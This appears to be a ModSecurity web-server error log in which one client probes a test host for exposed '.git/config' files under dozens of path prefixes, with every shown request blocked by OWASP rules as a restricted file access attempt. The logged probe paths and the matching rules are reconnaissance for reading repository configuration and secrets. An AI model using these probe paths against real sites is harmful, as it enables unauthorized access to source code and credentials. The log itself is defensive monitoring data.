[Wed May 22 20:56:14.988474 2024] [:error] [pid 3395359] [client 91.215.85.43:57326] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/samples/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZgAAAAI"]
[Wed May 22 20:56:14.988732 2024] [:error] [pid 3395359] [client 91.215.85.43:57326] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/samples/.git/config"] [unique_id "Zk4_zpTMfOoR75vS6_DpZgAAAAI"]
[Wed May 22 20:56:14.989809 2024] [:error] [pid 3395396] [client 91.215.85.43:57294] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /git/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/git/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1ggAAAAo"]
[Wed May 22 20:56:14.990199 2024] [:error] [pid 3395396] [client 91.215.85.43:57294] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/git/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1ggAAAAo"]
[Wed May 22 20:56:14.990495 2024] [:error] [pid 3395396] [client 91.215.85.43:57294] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/git/.git/config"] [unique_id "Zk4_zudio4tMHzszuH-1ggAAAAo"]
[Sat May 25 00:07:45.624824 2024] [:error] [pid 3454966] [client 91.215.85.43:49710] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /admin/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLAAAAAI"]
[Sat May 25 00:07:45.625725 2024] [:error] [pid 3454966] [client 91.215.85.43:49710] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLAAAAAI"]
[Sat May 25 00:07:45.626226 2024] [:error] [pid 3454966] [client 91.215.85.43:49710] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLAAAAAI"]
[Sat May 25 00:07:45.630226 2024] [:error] [pid 3454968] [client 91.215.85.43:49702] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /alpha/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/alpha/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKhgAAAAQ"]
[Sat May 25 00:07:45.630529 2024] [:error] [pid 3454968] [client 91.215.85.43:49702] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/alpha/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKhgAAAAQ"]
[Sat May 25 00:07:45.630754 2024] [:error] [pid 3454968] [client 91.215.85.43:49702] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/alpha/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKhgAAAAQ"]
[Sat May 25 00:07:45.642021 2024] [:error] [pid 3454964] [client 91.215.85.43:49726] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v1/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQAAAAAA"]
[Sat May 25 00:07:45.642317 2024] [:error] [pid 3454964] [client 91.215.85.43:49726] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v1/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQAAAAAA"]
[Sat May 25 00:07:45.642510 2024] [:error] [pid 3454964] [client 91.215.85.43:49726] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v1/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQAAAAAA"]
[Sat May 25 00:07:45.656980 2024] [:error] [pid 3454974] [client 91.215.85.43:49744] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v1/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrAAAAAU"]
[Sat May 25 00:07:45.657720 2024] [:error] [pid 3454974] [client 91.215.85.43:49744] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v1/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrAAAAAU"]
[Sat May 25 00:07:45.658321 2024] [:error] [pid 3454974] [client 91.215.85.43:49744] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v1/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrAAAAAU"]
[Sat May 25 00:07:45.662896 2024] [:error] [pid 3454965] [client 91.215.85.43:49756] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHuQAAAAE"]
[Sat May 25 00:07:45.663134 2024] [:error] [pid 3454965] [client 91.215.85.43:49756] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHuQAAAAE"]
[Sat May 25 00:07:45.663319 2024] [:error] [pid 3454965] [client 91.215.85.43:49756] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backup/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHuQAAAAE"]
[Sat May 25 00:07:45.665492 2024] [:error] [pid 3454967] [client 91.215.85.43:49734] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v1/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKAAAAAM"]
[Sat May 25 00:07:45.665790 2024] [:error] [pid 3454967] [client 91.215.85.43:49734] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKAAAAAM"]
[Sat May 25 00:07:45.666011 2024] [:error] [pid 3454967] [client 91.215.85.43:49734] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v1/.git/config"] [unique_id "ZlEPseei6jPvGXK9s14eKAAAAAM"]
[Sat May 25 00:07:45.715285 2024] [:error] [pid 3455036] [client 91.215.85.43:49758] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /aomanalyzer/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aomanalyzer/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdAAAAAY"]
[Sat May 25 00:07:45.717958 2024] [:error] [pid 3455036] [client 91.215.85.43:49758] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aomanalyzer/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdAAAAAY"]
[Sat May 25 00:07:45.718478 2024] [:error] [pid 3455036] [client 91.215.85.43:49758] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/aomanalyzer/.git/config"] [unique_id "ZlEPsVtHyu1z9KawtltDdAAAAAY"]
[Sat May 25 00:07:45.721394 2024] [:error] [pid 3454966] [client 91.215.85.43:49770] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /amphtml/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/amphtml/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLQAAAAI"]
[Sat May 25 00:07:45.721659 2024] [:error] [pid 3454966] [client 91.215.85.43:49770] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/amphtml/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLQAAAAI"]
[Sat May 25 00:07:45.721861 2024] [:error] [pid 3454966] [client 91.215.85.43:49770] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/amphtml/.git/config"] [unique_id "ZlEPsXMB5Kx7mvcePW3JLQAAAAI"]
[Sat May 25 00:07:45.729365 2024] [:error] [pid 3454968] [client 91.215.85.43:49786] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /beta/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKhwAAAAQ"]
[Sat May 25 00:07:45.729615 2024] [:error] [pid 3454968] [client 91.215.85.43:49786] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKhwAAAAQ"]
[Sat May 25 00:07:45.729820 2024] [:error] [pid 3454968] [client 91.215.85.43:49786] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/beta/.git/config"] [unique_id "ZlEPsQlXNER1zYR0SlIKhwAAAAQ"]
[Sat May 25 00:07:45.735330 2024] [:error] [pid 3454964] [client 91.215.85.43:49796] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/admin/v4/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v4/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQQAAAAA"]
[Sat May 25 00:07:45.735490 2024] [:error] [pid 3454964] [client 91.215.85.43:49796] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v4/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQQAAAAA"]
[Sat May 25 00:07:45.735649 2024] [:error] [pid 3454964] [client 91.215.85.43:49796] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/admin/v4/.git/config"] [unique_id "ZlEPsTMOA-cOmjeocxfqQQAAAAA"]
[Sat May 25 00:07:45.753056 2024] [:error] [pid 3454974] [client 91.215.85.43:49788] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/v4/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v4/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrQAAAAU"]
[Sat May 25 00:07:45.753452 2024] [:error] [pid 3454974] [client 91.215.85.43:49788] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v4/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrQAAAAU"]
[Sat May 25 00:07:45.753728 2024] [:error] [pid 3454974] [client 91.215.85.43:49788] [client 91.215.85.43] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/v4/.git/config"] [unique_id "ZlEPsRUJ1bxTE5JrLaVUrQAAAAU"]
[Sat May 25 00:07:45.762802 2024] [:error] [pid 3454965] [client 91.215.85.43:49778] [client 91.215.85.43] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/user/v4/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v4/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHugAAAAE"]
[Sat May 25 00:07:45.763506 2024] [:error] [pid 3454965] [client 91.215.85.43:49778] [client 91.215.85.43] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/user/v4/.git/config"] [unique_id "ZlEPsQIdeuT73YfexOaHugAAAAE"]
